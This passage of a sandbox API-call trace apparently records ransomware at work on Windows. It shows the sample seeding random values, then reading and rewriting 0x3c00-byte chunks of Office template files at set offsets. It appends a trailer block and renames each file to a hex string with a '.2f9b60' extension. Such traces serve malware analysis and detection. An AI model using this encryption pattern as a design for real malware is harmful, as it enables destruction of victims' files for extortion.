[0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0xf2974ba [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x288429c9 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x1e681f4b [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x4e569bd4 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x5ed73f24 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x6407607a [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x5af1b47a [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x35d79985 [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x2b47faac [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x24a23f23 [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x54dd8f2e [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x5335c77b [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x6d4cb344 [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x2e8cdc15 [0112.407] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x3450cdb9 [0112.415] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.415] ReadFile (in: hFile=0xe20, lpBuffer=0x41dd3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25fefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41dd3cc0*, lpNumberOfBytesRead=0x25fefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.419] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0112.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dd78d0 [0112.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0112.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0112.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.421] WriteFile (in: hFile=0xe20, lpBuffer=0x41dd78d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25fefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41dd78d0*, lpNumberOfBytesWritten=0x25fefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dd78d0) returned 1 [0148.090] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x1ba800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.090] ReadFile (in: hFile=0xe20, lpBuffer=0x41dd3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25fefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41dd3cc0*, lpNumberOfBytesRead=0x25fefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.092] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x1ba800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0148.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0148.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0148.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263590) returned 1 [0148.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dd78d0 [0148.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0148.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0148.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260bc0) returned 1 [0148.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0148.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0148.094] WriteFile (in: hFile=0xe20, lpBuffer=0x41dd78d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25fefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41dd78d0*, lpNumberOfBytesWritten=0x25fefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dd78d0) returned 1 [0171.078] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x36b4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.078] ReadFile (in: hFile=0xe20, lpBuffer=0x41dd3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25fefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41dd3cc0*, lpNumberOfBytesRead=0x25fefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.246] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x36b4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d430 [0171.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d430) returned 1 [0171.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e0c1b0 [0171.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d430 [0171.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d460 [0171.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d460) returned 1 [0171.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.249] WriteFile (in: hFile=0xe20, lpBuffer=0x41e0c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25fefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e0c1b0*, lpNumberOfBytesWritten=0x25fefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e0c1b0) returned 1 [0194.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf600 [0194.660] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.660] WriteFile (in: hFile=0xe20, lpBuffer=0x1b82f150*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x25fefc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f150*, lpNumberOfBytesWritten=0x25fefc70*=0x15a, lpOverlapped=0x0) returned 1 [0202.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0202.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0202.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0202.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0202.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20262480 [0202.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607d0 [0202.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621b0 [0202.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621b0) returned 1 [0202.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0202.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0202.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b7cea00 [0202.007] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="4a") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="25") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="dc") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="2e") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="ec") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="5f") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="45") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="20") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="2e") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="b9") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="31") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="97") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="87") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="1c") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="40") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="b8") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="0c") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="2e") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="4b") returned 2 [0202.007] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="f2") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="f3") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="4a") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="ca") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="3b") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="df") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="04") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="54") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="eb") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="1f") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="bf") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="74") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="ca") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="17") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="d2") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="14") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="43") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="05") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea4c, _Format="%c%c" | out: _Dest="86") returned 2 [0202.008] sprintf (in: _Dest=0x1b7cea4e, _Format="%c%c" | out: _Dest="d0") returned 2 [0202.008] RtlInitAnsiString (in: DestinationString=0x25fefce8, SourceString="4a25dc2eec5f45202eb93197871c40b8c40c2e4bf2f34aca3bdf0454eb1fbf74ca17d214430586d0" | out: DestinationString="4a25dc2eec5f45202eb93197871c40b8c40c2e4bf2f34aca3bdf0454eb1fbf74ca17d214430586d0") [0202.008] RtlAnsiStringToUnicodeString (in: DestinationString=0x25fefcb8, SourceString="4a25dc2eec5f45202eb93197871c40b8c40c2e4bf2f34aca3bdf0454eb1fbf74ca17d214430586d0", AllocateDestinationString=1 | out: DestinationString="4a25dc2eec5f45202eb93197871c40b8c40c2e4bf2f34aca3bdf0454eb1fbf74ca17d214430586d0") returned 0x0 [0202.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431a81f0 [0202.009] wcscat (in: _Dest=0x431a8140, _Source="4a25dc2eec5f45202eb9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4a25dc2eec5f45202eb9") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4a25dc2eec5f45202eb9" [0202.009] wcscat (in: _Dest=0x431a8140, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4a25dc2eec5f45202eb9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4a25dc2eec5f45202eb9.2f9b60" [0202.009] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4a25dc2eec5f45202eb9.2f9b60", NtPathName=0x25fefc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\4a25dc2eec5f45202eb9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4311a720 Thread: id = 1122 os_tid = 0x974 [0112.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx")) returned 0x20 [0112.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx", dwFileAttributes=0x20) returned 1 [0112.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1770 [0112.418] GetFileSizeEx (in: hFile=0x1770, lpFileSize=0x353af9c0 | out: lpFileSize=0x353af9c0*=244919) returned 1 [0112.418] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x3bcb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.418] ReadFile (in: hFile=0x1770, lpBuffer=0x353af940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x353af988, lpOverlapped=0x0 | out: lpBuffer=0x353af940*, lpNumberOfBytesRead=0x353af988*=0x4, lpOverlapped=0x0) returned 1 [0112.422] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0112.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614c0 [0112.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.422] NtQuerySystemTime (in: CurrentTime=0x353af880 | out: CurrentTime=0x353af880*=132462177178810000) returned 0x0 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x1d6ffae6 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x33341748 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x68957b39 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x5bfcd4e1 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x79ed843f [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x5512e720 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x40f7ed45 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x5d92b446 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x70a7f787 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x3be9409a [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x1604720b [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x709f15b [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x311755f2 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x25e923d5 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x7f7aa980 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0xbb4cc14 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x52476085 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x4abde404 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x4ded7b9d [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x36d73462 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x5ba9731b [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x20907775 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0xe522060 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x695e57e7 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x2f5c2c35 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x45b28769 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x3ea5f771 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x7d27c5cd [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x4b12a69d [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x531d4e79 [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x55edcd5c [0112.423] RtlRandomEx (in: Seed=0x353af870 | out: Seed=0x353af870) returned 0x15f0d37f [0112.432] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.432] ReadFile (in: hFile=0x1770, lpBuffer=0x41ddb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x353af8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ddb4e0*, lpNumberOfBytesRead=0x353af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.434] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0112.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0112.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ddf0f0 [0112.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0112.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261550) returned 1 [0112.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.435] WriteFile (in: hFile=0x1770, lpBuffer=0x41ddf0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x353af8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ddf0f0*, lpNumberOfBytesWritten=0x353af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ddf0f0) returned 1 [0166.166] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.166] ReadFile (in: hFile=0x1770, lpBuffer=0x41ddb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x353af8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ddb4e0*, lpNumberOfBytesRead=0x353af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.243] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10d0 [0166.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10d0) returned 1 [0166.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f8ed0 [0166.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10d0 [0166.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10a0 [0166.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10a0) returned 1 [0166.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.245] WriteFile (in: hFile=0x1770, lpBuffer=0x429f8ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x353af8e0, lpOverlapped=0x0 | out: lpBuffer=0x429f8ed0*, lpNumberOfBytesWritten=0x353af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f8ed0) returned 1 [0187.178] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x380b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.178] ReadFile (in: hFile=0x1770, lpBuffer=0x41ddb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x353af8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ddb4e0*, lpNumberOfBytesRead=0x353af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.696] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x380b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139190 [0190.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139190) returned 1 [0190.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ddd540 [0190.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139190 [0190.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431391c0 [0190.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431391c0) returned 1 [0190.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.699] WriteFile (in: hFile=0x1770, lpBuffer=0x42ddd540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x353af8e0, lpOverlapped=0x0 | out: lpBuffer=0x42ddd540*, lpNumberOfBytesWritten=0x353af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ddd540) returned 1 [0205.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fa60 [0205.361] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.361] WriteFile (in: hFile=0x1770, lpBuffer=0x1ceb8d30*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x353af990, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8d30*, lpNumberOfBytesWritten=0x353af990*=0x15a, lpOverlapped=0x0) returned 1 [0208.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205add0 [0208.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205add0) returned 1 [0208.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205add0 [0208.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ada0 [0208.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ace0 [0208.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ace0) returned 1 [0208.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.850] RtlFreeHeap 